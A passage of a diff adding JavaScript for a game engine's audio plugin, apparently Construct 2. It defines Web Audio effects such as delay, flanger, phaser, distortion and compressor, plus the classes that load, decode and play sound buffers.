+ this.params[5] = value;
+ setAudioParam(this.wetNode["gain"], value, ramp, time);
+ setAudioParam(this.dryNode["gain"], 1 - value, ramp, time);
+ break;
+ case 1: // filter frequency
+ this.params[1] = value;
+ setAudioParam(this.filterNode["frequency"], value, ramp, time);
+ break;
+ case 2: // filter detune
+ this.params[2] = value;
+ setAudioParam(this.filterNode["detune"], value, ramp, time);
+ break;
+ case 3: // filter Q
+ this.params[3] = value;
+ setAudioParam(this.filterNode["Q"], value, ramp, time);
+ break;
+ case 4: // filter/delay gain (note value is in dB here)
+ this.params[4] = value;
+ setAudioParam(this.filterNode["gain"], value, ramp, time);
+ break;
+ }
+ };
+ function DelayEffect(delayTime, delayGain, mix)
+ {
+ this.type = "delay";
+ this.params = [delayTime, delayGain, mix];
+ this.inputNode = createGain();
+ this.wetNode = createGain();
+ this.wetNode["gain"]["value"] = mix;
+ this.dryNode = createGain();
+ this.dryNode["gain"]["value"] = 1 - mix;
+ this.mainNode = createGain();
+ this.delayNode = createDelay(delayTime);
+ this.delayNode["delayTime"]["value"] = delayTime;
+ this.delayGainNode = createGain();
+ this.delayGainNode["gain"]["value"] = delayGain;
+ this.inputNode["connect"](this.mainNode);
+ this.inputNode["connect"](this.dryNode);
+ this.mainNode["connect"](this.wetNode);
+ this.mainNode["connect"](this.delayNode);
+ this.delayNode["connect"](this.delayGainNode);
+ this.delayGainNode["connect"](this.mainNode);
+ };
+ DelayEffect.prototype.connectTo = function (node)
+ {
+ this.wetNode["disconnect"]();
+ this.wetNode["connect"](node);
+ this.dryNode["disconnect"]();
+ this.dryNode["connect"](node);
+ };
+ DelayEffect.prototype.remove = function ()
+ {
+ this.inputNode["disconnect"]();
+ this.mainNode["disconnect"]();
+ this.delayNode["disconnect"]();
+ this.delayGainNode["disconnect"]();
+ this.wetNode["disconnect"]();
+ this.dryNode["disconnect"]();
+ };
+ DelayEffect.prototype.getInputNode = function ()
+ {
+ return this.inputNode;
+ };
+ DelayEffect.prototype.setParam = function(param, value, ramp, time)
+ {
+ switch (param) {
+ case 0: // mix
+ value = value / 100;
+ if (value < 0) value = 0;
+ if (value > 1) value = 1;
+ this.params[2] = value;
+ setAudioParam(this.wetNode["gain"], value, ramp, time);
+ setAudioParam(this.dryNode["gain"], 1 - value, ramp, time);
+ break;
+ case 4: // filter/delay gain (note value is passed in dB but needs to be linear here)
+ this.params[1] = dbToLinear(value);
+ setAudioParam(this.delayGainNode["gain"], dbToLinear(value), ramp, time);
+ break;
+ case 5: // delay time
+ this.params[0] = value;
+ setAudioParam(this.delayNode["delayTime"], value, ramp, time);
+ break;
+ }
+ };
+ function ConvolveEffect(buffer, normalize, mix, src)
+ {
+ this.type = "convolve";
+ this.params = [normalize, mix, src];
+ this.inputNode = createGain();
+ this.wetNode = createGain();
+ this.wetNode["gain"]["value"] = mix;
+ this.dryNode = createGain();
+ this.dryNode["gain"]["value"] = 1 - mix;
+ this.convolveNode = context["createConvolver"]();
+ if (buffer)
+ {
+ this.convolveNode["normalize"] = normalize;
+ this.convolveNode["buffer"] = buffer;
+ }
+ this.inputNode["connect"](this.convolveNode);
+ this.inputNode["connect"](this.dryNode);
+ this.convolveNode["connect"](this.wetNode);
+ };
+ ConvolveEffect.prototype.connectTo = function (node)
+ {
+ this.wetNode["disconnect"]();
+ this.wetNode["connect"](node);
+ this.dryNode["disconnect"]();
+ this.dryNode["connect"](node);
+ };
+ ConvolveEffect.prototype.remove = function ()
+ {
+ this.inputNode["disconnect"]();
+ this.convolveNode["disconnect"]();
+ this.wetNode["disconnect"]();
+ this.dryNode["disconnect"]();
+ };
+ ConvolveEffect.prototype.getInputNode = function ()
+ {
+ return this.inputNode;
+ };
+ ConvolveEffect.prototype.setParam = function(param, value, ramp, time)
+ {
+ switch (param) {
+ case 0: // mix
+ value = value / 100;
+ if (value < 0) value = 0;
+ if (value > 1) value = 1;
+ this.params[1] = value;
+ setAudioParam(this.wetNode["gain"], value, ramp, time);
+ setAudioParam(this.dryNode["gain"], 1 - value, ramp, time);
+ break;
+ }
+ };
+ function FlangerEffect(delay, modulation, freq, feedback, mix)
+ {
+ this.type = "flanger";
+ this.params = [delay, modulation, freq, feedback, mix];
+ this.inputNode = createGain();
+ this.dryNode = createGain();
+ this.dryNode["gain"]["value"] = 1 - (mix / 2);
+ this.wetNode = createGain();
+ this.wetNode["gain"]["value"] = mix / 2;
+ this.feedbackNode = createGain();
+ this.feedbackNode["gain"]["value"] = feedback;
+ this.delayNode = createDelay(delay + modulation);
+ this.delayNode["delayTime"]["value"] = delay;
+ this.oscNode = context["createOscillator"]();
+ this.oscNode["frequency"]["value"] = freq;
+ this.oscGainNode = createGain();
+ this.oscGainNode["gain"]["value"] = modulation;
+ this.inputNode["connect"](this.delayNode);
+ this.inputNode["connect"](this.dryNode);
+ this.delayNode["connect"](this.wetNode);
+ this.delayNode["connect"](this.feedbackNode);
+ this.feedbackNode["connect"](this.delayNode);
+ this.oscNode["connect"](this.oscGainNode);
+ this.oscGainNode["connect"](this.delayNode["delayTime"]);
+ startSource(this.oscNode);
+ };
+ FlangerEffect.prototype.connectTo = function (node)
+ {
+ this.dryNode["disconnect"]();
+ this.dryNode["connect"](node);
+ this.wetNode["disconnect"]();
+ this.wetNode["connect"](node);
+ };
+ FlangerEffect.prototype.remove = function ()
+ {
+ this.inputNode["disconnect"]();
+ this.delayNode["disconnect"]();
+ this.oscNode["disconnect"]();
+ this.oscGainNode["disconnect"]();
+ this.dryNode["disconnect"]();
+ this.wetNode["disconnect"]();
+ this.feedbackNode["disconnect"]();
+ };
+ FlangerEffect.prototype.getInputNode = function ()
+ {
+ return this.inputNode;
+ };
+ FlangerEffect.prototype.setParam = function(param, value, ramp, time)
+ {
+ switch (param) {
+ case 0: // mix
+ value = value / 100;
+ if (value < 0) value = 0;
+ if (value > 1) value = 1;
+ this.params[4] = value;
+ setAudioParam(this.wetNode["gain"], value / 2, ramp, time);
+ setAudioParam(this.dryNode["gain"], 1 - (value / 2), ramp, time);
+ break;
+ case 6: // modulation
+ this.params[1] = value / 1000;
+ setAudioParam(this.oscGainNode["gain"], value / 1000, ramp, time);
+ break;
+ case 7: // modulation frequency
+ this.params[2] = value;
+ setAudioParam(this.oscNode["frequency"], value, ramp, time);
+ break;
+ case 8: // feedback
+ this.params[3] = value / 100;
+ setAudioParam(this.feedbackNode["gain"], value / 100, ramp, time);
+ break;
+ }
+ };
+ function PhaserEffect(freq, detune, q, modulation, modfreq, mix)
+ {
+ this.type = "phaser";
+ this.params = [freq, detune, q, modulation, modfreq, mix];
+ this.inputNode = createGain();
+ this.dryNode = createGain();
+ this.dryNode["gain"]["value"] = 1 - (mix / 2);
+ this.wetNode = createGain();
+ this.wetNode["gain"]["value"] = mix / 2;
+ this.filterNode = context["createBiquadFilter"]();
+ if (typeof this.filterNode["type"] === "number")
+ this.filterNode["type"] = 7; // all-pass
+ else
+ this.filterNode["type"] = "allpass";
+ this.filterNode["frequency"]["value"] = freq;
+ if (this.filterNode["detune"]) // iOS 6 doesn't have detune yet
+ this.filterNode["detune"]["value"] = detune;
+ this.filterNode["Q"]["value"] = q;
+ this.oscNode = context["createOscillator"]();
+ this.oscNode["frequency"]["value"] = modfreq;
+ this.oscGainNode = createGain();
+ this.oscGainNode["gain"]["value"] = modulation;
+ this.inputNode["connect"](this.filterNode);
+ this.inputNode["connect"](this.dryNode);
+ this.filterNode["connect"](this.wetNode);
+ this.oscNode["connect"](this.oscGainNode);
+ this.oscGainNode["connect"](this.filterNode["frequency"]);
+ startSource(this.oscNode);
+ };
+ PhaserEffect.prototype.connectTo = function (node)
+ {
+ this.dryNode["disconnect"]();
+ this.dryNode["connect"](node);
+ this.wetNode["disconnect"]();
+ this.wetNode["connect"](node);
+ };
+ PhaserEffect.prototype.remove = function ()
+ {
+ this.inputNode["disconnect"]();
+ this.filterNode["disconnect"]();
+ this.oscNode["disconnect"]();
+ this.oscGainNode["disconnect"]();
+ this.dryNode["disconnect"]();
+ this.wetNode["disconnect"]();
+ };
+ PhaserEffect.prototype.getInputNode = function ()
+ {
+ return this.inputNode;
+ };
+ PhaserEffect.prototype.setParam = function(param, value, ramp, time)
+ {
+ switch (param) {
+ case 0: // mix
+ value = value / 100;
+ if (value < 0) value = 0;
+ if (value > 1) value = 1;
+ this.params[5] = value;
+ setAudioParam(this.wetNode["gain"], value / 2, ramp, time);
+ setAudioParam(this.dryNode["gain"], 1 - (value / 2), ramp, time);
+ break;
+ case 1: // filter frequency
+ this.params[0] = value;
+ setAudioParam(this.filterNode["frequency"], value, ramp, time);
+ break;
+ case 2: // filter detune
+ this.params[1] = value;
+ setAudioParam(this.filterNode["detune"], value, ramp, time);
+ break;
+ case 3: // filter Q
+ this.params[2] = value;
+ setAudioParam(this.filterNode["Q"], value, ramp, time);
+ break;
+ case 6: // modulation
+ this.params[3] = value;
+ setAudioParam(this.oscGainNode["gain"], value, ramp, time);
+ break;
+ case 7: // modulation frequency
+ this.params[4] = value;
+ setAudioParam(this.oscNode["frequency"], value, ramp, time);
+ break;
+ }
+ };
+ function GainEffect(g)
+ {
+ this.type = "gain";
+ this.params = [g];
+ this.node = createGain();
+ this.node["gain"]["value"] = g;
+ };
+ GainEffect.prototype.connectTo = function (node_)
+ {
+ this.node["disconnect"]();
+ this.node["connect"](node_);
+ };
+ GainEffect.prototype.remove = function ()
+ {
+ this.node["disconnect"]();
+ };
+ GainEffect.prototype.getInputNode = function ()
+ {
+ return this.node;
+ };
+ GainEffect.prototype.setParam = function(param, value, ramp, time)
+ {
+ switch (param) {
+ case 4: // gain
+ this.params[0] = dbToLinear(value);
+ setAudioParam(this.node["gain"], dbToLinear(value), ramp, time);
+ break;
+ }
+ };
+ function TremoloEffect(freq, mix)
+ {
+ this.type = "tremolo";
+ this.params = [freq, mix];
+ this.node = createGain();
+ this.node["gain"]["value"] = 1 - (mix / 2);
+ this.oscNode = context["createOscillator"]();
+ this.oscNode["frequency"]["value"] = freq;
+ this.oscGainNode = createGain();
+ this.oscGainNode["gain"]["value"] = mix / 2;
+ this.oscNode["connect"](this.oscGainNode);
+ this.oscGainNode["connect"](this.node["gain"]);
+ startSource(this.oscNode);
+ };
+ TremoloEffect.prototype.connectTo = function (node_)
+ {
+ this.node["disconnect"]();
+ this.node["connect"](node_);
+ };
+ TremoloEffect.prototype.remove = function ()
+ {
+ this.oscNode["disconnect"]();
+ this.oscGainNode["disconnect"]();
+ this.node["disconnect"]();
+ };
+ TremoloEffect.prototype.getInputNode = function ()
+ {
+ return this.node;
+ };
+ TremoloEffect.prototype.setParam = function(param, value, ramp, time)
+ {
+ switch (param) {
+ case 0: // mix
+ value = value / 100;
+ if (value < 0) value = 0;
+ if (value > 1) value = 1;
+ this.params[1] = value;
+ setAudioParam(this.node["gain"]["value"], 1 - (value / 2), ramp, time);
+ setAudioParam(this.oscGainNode["gain"]["value"], value / 2, ramp, time);
+ break;
+ case 7: // modulation frequency
+ this.params[0] = value;
+ setAudioParam(this.oscNode["frequency"], value, ramp, time);
+ break;
+ }
+ };
+ function RingModulatorEffect(freq, mix)
+ {
+ this.type = "ringmod";
+ this.params = [freq, mix];
+ this.inputNode = createGain();
+ this.wetNode = createGain();
+ this.wetNode["gain"]["value"] = mix;
+ this.dryNode = createGain();
+ this.dryNode["gain"]["value"] = 1 - mix;
+ this.ringNode = createGain();
+ this.ringNode["gain"]["value"] = 0;
+ this.oscNode = context["createOscillator"]();
+ this.oscNode["frequency"]["value"] = freq;
+ this.oscNode["connect"](this.ringNode["gain"]);
+ startSource(this.oscNode);
+ this.inputNode["connect"](this.ringNode);
+ this.inputNode["connect"](this.dryNode);
+ this.ringNode["connect"](this.wetNode);
+ };
+ RingModulatorEffect.prototype.connectTo = function (node_)
+ {
+ this.wetNode["disconnect"]();
+ this.wetNode["connect"](node_);
+ this.dryNode["disconnect"]();
+ this.dryNode["connect"](node_);
+ };
+ RingModulatorEffect.prototype.remove = function ()
+ {
+ this.oscNode["disconnect"]();
+ this.ringNode["disconnect"]();
+ this.inputNode["disconnect"]();
+ this.wetNode["disconnect"]();
+ this.dryNode["disconnect"]();
+ };
+ RingModulatorEffect.prototype.getInputNode = function ()
+ {
+ return this.inputNode;
+ };
+ RingModulatorEffect.prototype.setParam = function(param, value, ramp, time)
+ {
+ switch (param) {
+ case 0: // mix
+ value = value / 100;
+ if (value < 0) value = 0;
+ if (value > 1) value = 1;
+ this.params[1] = value;
+ setAudioParam(this.wetNode["gain"], value, ramp, time);
+ setAudioParam(this.dryNode["gain"], 1 - value, ramp, time);
+ break;
+ case 7: // modulation frequency
+ this.params[0] = value;
+ setAudioParam(this.oscNode["frequency"], value, ramp, time);
+ break;
+ }
+ };
+ function DistortionEffect(threshold, headroom, drive, makeupgain, mix)
+ {
+ this.type = "distortion";
+ this.params = [threshold, headroom, drive, makeupgain, mix];
+ this.inputNode = createGain();
+ this.preGain = createGain();
+ this.postGain = createGain();
+ this.setDrive(drive, dbToLinear_nocap(makeupgain));
+ this.wetNode = createGain();
+ this.wetNode["gain"]["value"] = mix;
+ this.dryNode = createGain();
+ this.dryNode["gain"]["value"] = 1 - mix;
+ this.waveShaper = context["createWaveShaper"]();
+ this.curve = new Float32Array(65536);
+ this.generateColortouchCurve(threshold, headroom);
+ this.waveShaper.curve = this.curve;
+ this.inputNode["connect"](this.preGain);
+ this.inputNode["connect"](this.dryNode);
+ this.preGain["connect"](this.waveShaper);
+ this.waveShaper["connect"](this.postGain);
+ this.postGain["connect"](this.wetNode);
+ };
+ DistortionEffect.prototype.setDrive = function (drive, makeupgain)
+ {
+ if (drive < 0.01)
+ drive = 0.01;
+ this.preGain["gain"]["value"] = drive;
+ this.postGain["gain"]["value"] = Math.pow(1 / drive, 0.6) * makeupgain;
+ };
+ function e4(x, k)
+ {
+ return 1.0 - Math.exp(-k * x);
+ }
+ DistortionEffect.prototype.shape = function (x, linearThreshold, linearHeadroom)
+ {
+ var maximum = 1.05 * linearHeadroom * linearThreshold;
+ var kk = (maximum - linearThreshold);
+ var sign = x < 0 ? -1 : +1;
+ var absx = x < 0 ? -x : x;
+ var shapedInput = absx < linearThreshold ? absx : linearThreshold + kk * e4(absx - linearThreshold, 1.0 / kk);
+ shapedInput *= sign;
+ return shapedInput;
+ };
+ DistortionEffect.prototype.generateColortouchCurve = function (threshold, headroom)
+ {
+ var linearThreshold = dbToLinear_nocap(threshold);
+ var linearHeadroom = dbToLinear_nocap(headroom);
+ var n = 65536;
+ var n2 = n / 2;
+ var x = 0;
+ for (var i = 0; i < n2; ++i) {
+ x = i / n2;
+ x = this.shape(x, linearThreshold, linearHeadroom);
+ this.curve[n2 + i] = x;
+ this.curve[n2 - i - 1] = -x;
+ }
+ };
+ DistortionEffect.prototype.connectTo = function (node)
+ {
+ this.wetNode["disconnect"]();
+ this.wetNode["connect"](node);
+ this.dryNode["disconnect"]();
+ this.dryNode["connect"](node);
+ };
+ DistortionEffect.prototype.remove = function ()
+ {
+ this.inputNode["disconnect"]();
+ this.preGain["disconnect"]();
+ this.waveShaper["disconnect"]();
+ this.postGain["disconnect"]();
+ this.wetNode["disconnect"]();
+ this.dryNode["disconnect"]();
+ };
+ DistortionEffect.prototype.getInputNode = function ()
+ {
+ return this.inputNode;
+ };
+ DistortionEffect.prototype.setParam = function(param, value, ramp, time)
+ {
+ switch (param) {
+ case 0: // mix
+ value = value / 100;
+ if (value < 0) value = 0;
+ if (value > 1) value = 1;
+ this.params[4] = value;
+ setAudioParam(this.wetNode["gain"], value, ramp, time);
+ setAudioParam(this.dryNode["gain"], 1 - value, ramp, time);
+ break;
+ }
+ };
+ function CompressorEffect(threshold, knee, ratio, attack, release)
+ {
+ this.type = "compressor";
+ this.params = [threshold, knee, ratio, attack, release];
+ this.node = context["createDynamicsCompressor"]();
+ try {
+ this.node["threshold"]["value"] = threshold;
+ this.node["knee"]["value"] = knee;
+ this.node["ratio"]["value"] = ratio;
+ this.node["attack"]["value"] = attack;
+ this.node["release"]["value"] = release;
+ }
+ catch (e) {}
+ };
+ CompressorEffect.prototype.connectTo = function (node_)
+ {
+ this.node["disconnect"]();
+ this.node["connect"](node_);
+ };
+ CompressorEffect.prototype.remove = function ()
+ {
+ this.node["disconnect"]();
+ };
+ CompressorEffect.prototype.getInputNode = function ()
+ {
+ return this.node;
+ };
+ CompressorEffect.prototype.setParam = function(param, value, ramp, time)
+ {
+ };
+ function AnalyserEffect(fftSize, smoothing)
+ {
+ this.type = "analyser";
+ this.params = [fftSize, smoothing];
+ this.node = context["createAnalyser"]();
+ this.node["fftSize"] = fftSize;
+ this.node["smoothingTimeConstant"] = smoothing;
+ this.freqBins = new Float32Array(this.node["frequencyBinCount"]);
+ this.signal = new Uint8Array(fftSize);
+ this.peak = 0;
+ this.rms = 0;
+ };
+ AnalyserEffect.prototype.tick = function ()
+ {
+ this.node["getFloatFrequencyData"](this.freqBins);
+ this.node["getByteTimeDomainData"](this.signal);
+ var fftSize = this.node["fftSize"];
+ var i = 0;
+ this.peak = 0;
+ var rmsSquaredSum = 0;
+ var s = 0;
+ for ( ; i < fftSize; i++)
+ {
+ s = (this.signal[i] - 128) / 128;
+ if (s < 0)
+ s = -s;
+ if (this.peak < s)
+ this.peak = s;
+ rmsSquaredSum += s * s;
+ }
+ this.peak = linearToDb(this.peak);
+ this.rms = linearToDb(Math.sqrt(rmsSquaredSum / fftSize));
+ };
+ AnalyserEffect.prototype.connectTo = function (node_)
+ {
+ this.node["disconnect"]();
+ this.node["connect"](node_);
+ };
+ AnalyserEffect.prototype.remove = function ()
+ {
+ this.node["disconnect"]();
+ };
+ AnalyserEffect.prototype.getInputNode = function ()
+ {
+ return this.node;
+ };
+ AnalyserEffect.prototype.setParam = function(param, value, ramp, time)
+ {
+ };
+ function ObjectTracker()
+ {
+ this.obj = null;
+ this.loadUid = 0;
+ };
+ ObjectTracker.prototype.setObject = function (obj_)
+ {
+ this.obj = obj_;
+ };
+ ObjectTracker.prototype.hasObject = function ()
+ {
+ return !!this.obj;
+ };
+ ObjectTracker.prototype.tick = function (dt)
+ {
+ };
+ function C2AudioBuffer(src_, is_music)
+ {
+ this.src = src_;
+ this.myapi = api;
+ this.is_music = is_music;
+ this.added_end_listener = false;
+ var self = this;
+ this.outNode = null;
+ this.mediaSourceNode = null;
+ this.panWhenReady = []; // for web audio API positioned sounds
+ this.seekWhenReady = 0;
+ this.pauseWhenReady = false;
+ this.supportWebAudioAPI = false;
+ this.failedToLoad = false;
+ this.wasEverReady = false; // if a buffer is ever marked as ready, it's permanently considered ready after then.
+ if (api === API_WEBAUDIO && is_music && !playMusicAsSoundWorkaround)
+ {
+ this.myapi = API_HTML5;
+ this.outNode = createGain();
+ }
+ this.bufferObject = null; // actual audio object
+ this.audioData = null; // web audio api: ajax request result (compressed audio that needs decoding)
+ var request;
+ switch (this.myapi) {
+ case API_HTML5:
+ this.bufferObject = new Audio();
+ this.bufferObject.crossOrigin = "anonymous";
+ this.bufferObject.addEventListener("canplaythrough", function () {
+ self.wasEverReady = true; // update loaded state so preload is considered complete
+ });
+ if (api === API_WEBAUDIO && context["createMediaElementSource"] && !/wiiu/i.test(navigator.userAgent))
+ {
+ this.supportWebAudioAPI = true; // can be routed through web audio api
+ this.bufferObject.addEventListener("canplay", function ()
+ {
+ if (!self.mediaSourceNode && self.bufferObject)
+ {
+ self.mediaSourceNode = context["createMediaElementSource"](self.bufferObject);
+ self.mediaSourceNode["connect"](self.outNode);
+ }
+ });
+ }
+ this.bufferObject.autoplay = false; // this is only a source buffer, not an instance
+ this.bufferObject.preload = "auto";
+ this.bufferObject.src = src_;
+ break;
+ case API_WEBAUDIO:
+ if (audRuntime.isWKWebView)
+ {
+ audRuntime.fetchLocalFileViaCordovaAsArrayBuffer(src_, function (arrayBuffer)
+ {
+ self.audioData = arrayBuffer;
+ self.decodeAudioBuffer();
+ }, function (err)
+ {
+ self.failedToLoad = true;
+ });
+ }
+ else
+ {
+ request = new XMLHttpRequest();
+ request.open("GET", src_, true);
+ request.responseType = "arraybuffer";
+ request.onload = function () {
+ self.audioData = request.response;
+ self.decodeAudioBuffer();
+ };
+ request.onerror = function () {
+ self.failedToLoad = true;
+ };
+ request.send();
+ }
+ break;
+ case API_CORDOVA:
+ this.bufferObject = true;
+ break;
+ case API_APPMOBI:
+ this.bufferObject = true;
+ break;
+ }
+ };
+ C2AudioBuffer.prototype.release = function ()
+ {
+ var i, len, j, a;
+ for (i = 0, j = 0, len = audioInstances.length; i < len; ++i)
+ {
+ a = audioInstances[i];
+ audioInstances[j] = a;
+ if (a.buffer === this)
+ a.stop();
+ else
+ ++j; // keep
+ }
+ audioInstances.length = j;
+ if (this.mediaSourceNode)
+ {
+ this.mediaSourceNode["disconnect"]();
+ this.mediaSourceNode = null;
+ }
+ if (this.outNode)
+ {
+ this.outNode["disconnect"]();
+ this.outNode = null;
+ }
+ this.bufferObject = null;
+ this.audioData = null;
+ };
+ C2AudioBuffer.prototype.decodeAudioBuffer = function ()
+ {
+ if (this.bufferObject || !this.audioData)
+ return; // audio already decoded or AJAX request not yet complete
+ var self = this;
+ if (context["decodeAudioData"])
+ {
+ context["decodeAudioData"](this.audioData, function (buffer) {
+ self.bufferObject = buffer;
+ self.audioData = null; // clear AJAX response to allow GC and save memory, only need the bufferObject now
+ var p, i, len, a;
+ if (!cr.is_undefined(self.playTagWhenReady) && !silent)
+ {
+ if (self.panWhenReady.length)
+ {
+ for (i = 0, len = self.panWhenReady.length; i < len; i++)
+ {
+ p = self.panWhenReady[i];
+ a = new C2AudioInstance(self, p.thistag);
+ a.setPannerEnabled(true);
+ if (typeof p.objUid !== "undefined")
+ {
+ p.obj = audRuntime.getObjectByUID(p.objUid);
+ if (!p.obj)
+ continue;
+ }
+ if (p.obj)
+ {
+ var px = cr.rotatePtAround(p.obj.x, p.obj.y, -p.obj.layer.getAngle(), listenerX, listenerY, true);
+ var py = cr.rotatePtAround(p.obj.x, p.obj.y, -p.obj.layer.getAngle(), listenerX, listenerY, false);
+ a.setPan(px, py, cr.to_degrees(p.obj.angle - p.obj.layer.getAngle()), p.ia, p.oa, p.og);
+ a.setObject(p.obj);
+ }
+ else
+ {
+ a.setPan(p.x, p.y, p.a, p.ia, p.oa, p.og);
+ }
+ a.play(self.loopWhenReady, self.volumeWhenReady, self.seekWhenReady);
+ if (self.pauseWhenReady)
+ a.pause();
+ audioInstances.push(a);
+ }
+ cr.clearArray(self.panWhenReady);
+ }
+ else
+ {
+ a = new C2AudioInstance(self, self.playTagWhenReady || ""); // sometimes playTagWhenReady is not set - TODO: why?
+ a.play(self.loopWhenReady, self.volumeWhenReady, self.seekWhenReady);
+ if (self.pauseWhenReady)
+ a.pause();
+ audioInstances.push(a);
+ }
+ }
+ else if (!cr.is_undefined(self.convolveWhenReady))
+ {
+ var convolveNode = self.convolveWhenReady.convolveNode;
+ convolveNode["normalize"] = self.normalizeWhenReady;
+ convolveNode["buffer"] = buffer;
+ }
+ }, function (e) {
+ self.failedToLoad = true;
+ });
+ }
+ else
+ {
+ this.bufferObject = context["createBuffer"](this.audioData, false);
+ this.audioData = null; // clear AJAX response to allow GC and save memory, only need the bufferObject now
+ if (!cr.is_undefined(this.playTagWhenReady) && !silent)
+ {
+ var a = new C2AudioInstance(this, this.playTagWhenReady);
+ a.play(this.loopWhenReady, this.volumeWhenReady, this.seekWhenReady);
+ if (this.pauseWhenReady)
+ a.pause();
+ audioInstances.push(a);
+ }
+ else if (!cr.is_undefined(this.convolveWhenReady))
+ {
+ var convolveNode = this.convolveWhenReady.convolveNode;
+ convolveNode["normalize"] = this.normalizeWhenReady;
+ convolveNode["buffer"] = this.bufferObject;
+ }
+ }
+ };
+ C2AudioBuffer.prototype.isLoaded = function ()
+ {
+ switch (this.myapi) {
+ case API_HTML5:
+ var ret = this.bufferObject["readyState"] >= 4; // HAVE_ENOUGH_DATA
+ if (ret)
+ this.wasEverReady = true;
+ return ret || this.wasEverReady;
+ case API_WEBAUDIO:
+ return !!this.audioData || !!this.bufferObject;
+ case API_CORDOVA:
+ return true;
+ case API_APPMOBI:
+ return true;
+ }
+ return false;
+ };
+ C2AudioBuffer.prototype.isLoadedAndDecoded = function ()
+ {
+ switch (this.myapi) {
+ case API_HTML5:
+ return this.isLoaded(); // no distinction between loaded and decoded in HTML5 audio, just rely on ready state
+ case API_WEBAUDIO:
+ return !!this.bufferObject;
+ case API_CORDOVA:
+ return true;
+ case API_APPMOBI:
+ return true;
+ }
+ return false;
+ };
+ C2AudioBuffer.prototype.hasFailedToLoad = function ()
+ {
+ switch (this.myapi) {
+ case API_HTML5:
+ return !!this.bufferObject["error"];
+ case API_WEBAUDIO:
+ return this.failedToLoad;
+ }
+ return false;
+ };
+ function C2AudioInstance(buffer_, tag_)
+ {
+ var self = this;
+ this.tag = tag_;
+ this.fresh = true;
+ this.stopped = true;
+ this.src = buffer_.src;
+ this.buffer = buffer_;
+ this.myapi = api;
+ this.is_music = buffer_.is_music;
+ this.playbackRate = 1;
+ this.hasPlaybackEnded = true; // ended flag
+ this.resume_me = false; // make sure resumes when leaving suspend
+ this.is_paused = false;
+ this.resume_position = 0; // for web audio api to resume from correct playback position
+ this.looping = false;
+ this.is_muted = false;
+ this.is_silent = false;
+ this.volume = 1;
+ this.onended_handler = function (e)
+ {
+ if (self.is_paused || self.resume_me)
+ return;
+ var bufferThatEnded = this;
+ if (!bufferThatEnded)
+ bufferThatEnded = e.target;
+ if (bufferThatEnded !== self.active_buffer)
+ return;
+ self.hasPlaybackEnded = true;
+ self.stopped = true;
+ audTag = self.tag;
+ audRuntime.trigger(cr.plugins_.Audio.prototype.cnds.OnEnded, audInst);
+ };
+ this.active_buffer = null;
+ this.isTimescaled = ((timescale_mode === 1 && !this.is_music) || timescale_mode === 2);
+ this.mutevol = 1;
+ this.startTime = (this.isTimescaled ? audRuntime.kahanTime.sum : audRuntime.wallTime.sum);
+ this.gainNode = null;
+ this.pannerNode = null;
+ this.pannerEnabled = false;
+ this.objectTracker = null;
+ this.panX = 0;
+ this.panY = 0;
+ this.panAngle = 0;
+ this.panConeInner = 0;
+ this.panConeOuter = 0;
+ this.panConeOuterGain = 0;
+ this.instanceObject = null;
+ var add_end_listener = false;
+ if (this.myapi === API_WEBAUDIO && this.buffer.myapi === API_HTML5 && !this.buffer.supportWebAudioAPI)
+ this.myapi = API_HTML5;
+ switch (this.myapi) {
+ case API_HTML5:
+ if (this.is_music)
+ {
+ this.instanceObject = buffer_.bufferObject;
+ add_end_listener = !buffer_.added_end_listener;
+ buffer_.added_end_listener = true;
+ }
+ else
+ {
+ this.instanceObject = new Audio();
+ this.instanceObject.crossOrigin = "anonymous";
+ this.instanceObject.autoplay = false;
+ this.instanceObject.src = buffer_.bufferObject.src;
+ add_end_listener = true;
+ }
+ if (add_end_listener)
+ {
+ this.instanceObject.addEventListener('ended', function () {
+ audTag = self.tag;
+ self.stopped = true;
+ audRuntime.trigger(cr.plugins_.Audio.prototype.cnds.OnEnded, audInst);
+ });
+ }
+ break;
+ case API_WEBAUDIO:
+ this.gainNode = createGain();
+ this.gainNode["connect"](getDestinationForTag(tag_));
+ if (this.buffer.myapi === API_WEBAUDIO)
+ {
+ if (buffer_.bufferObject)
+ {
+ this.instanceObject = context["createBufferSource"]();
+ this.instanceObject["buffer"] = buffer_.bufferObject;
+ this.instanceObject["connect"](this.gainNode);
+ }
+ }
+ else
+ {
+ this.instanceObject = this.buffer.bufferObject; // reference the audio element
+ this.buffer.outNode["connect"](this.gainNode);
+ if (!this.buffer.added_end_listener)
+ {
+ this.buffer.added_end_listener = true;
+ this.buffer.bufferObject.addEventListener('ended', function () {
+ audTag = self.tag;
+ self.stopped = true;
+ audRuntime.trigger(cr.plugins_.Audio.prototype.cnds.OnEnded, audInst);
+ });
+ }
+ }
+ break;
+ case API_CORDOVA:
+ this.instanceObject = new window["Media"](appPath + this.src, null, null, function (status) {
+ if (status === window["Media"]["MEDIA_STOPPED"])
+ {
+ self.hasPlaybackEnded = true;
+ self.stopped = true;
+ audTag = self.tag;
+ audRuntime.trigger(cr.plugins_.Audio.prototype.cnds.OnEnded, audInst);
+ }
+ });
+ break;
+ case API_APPMOBI:
+ this.instanceObject = true;
+ break;
+ }
+ };
+ C2AudioInstance.prototype.hasEnded = function ()
+ {
+ var time;
+ switch (this.myapi) {
+ case API_HTML5:
+ return this.instanceObject.ended;
+ case API_WEBAUDIO:
+ if (this.buffer.myapi === API_WEBAUDIO)
+ {
+ if (!this.fresh && !this.stopped && this.instanceObject["loop"])
+ return false;
+ if (this.is_paused)
+ return false;
+ return this.hasPlaybackEnded;
+ }
+ else
+ return this.instanceObject.ended;
+ case API_CORDOVA:
+ return this.hasPlaybackEnded;
+ case API_APPMOBI:
+ true; // recycling an AppMobi sound does not matter because it will just do another throwaway playSound
+ }
+ return true;
+ };
+ C2AudioInstance.prototype.canBeRecycled = function ()
+ {
+ if (this.fresh || this.stopped)
+ return true; // not yet used or is not playing
+ return this.hasEnded();
+ };
+ C2AudioInstance.prototype.setPannerEnabled = function (enable_)
+ {
+ if (api !== API_WEBAUDIO)
+ return;
+ if (!this.pannerEnabled && enable_)
+ {
+ if (!this.gainNode)
+ return;
+ if (!this.pannerNode)
+ {
+ this.pannerNode = context["createPanner"]();
+ if (typeof this.pannerNode["panningModel"] === "number")
+ this.pannerNode["panningModel"] = panningModel;
+ else
+ this.pannerNode["panningModel"] = ["equalpower", "HRTF", "soundfield"][panningModel];
+ if (typeof this.pannerNode["distanceModel"] === "number")
+ this.pannerNode["distanceModel"] = distanceModel;
+ else
+ this.pannerNode["distanceModel"] = ["linear", "inverse", "exponential"][distanceModel];
+ this.pannerNode["refDistance"] = refDistance;
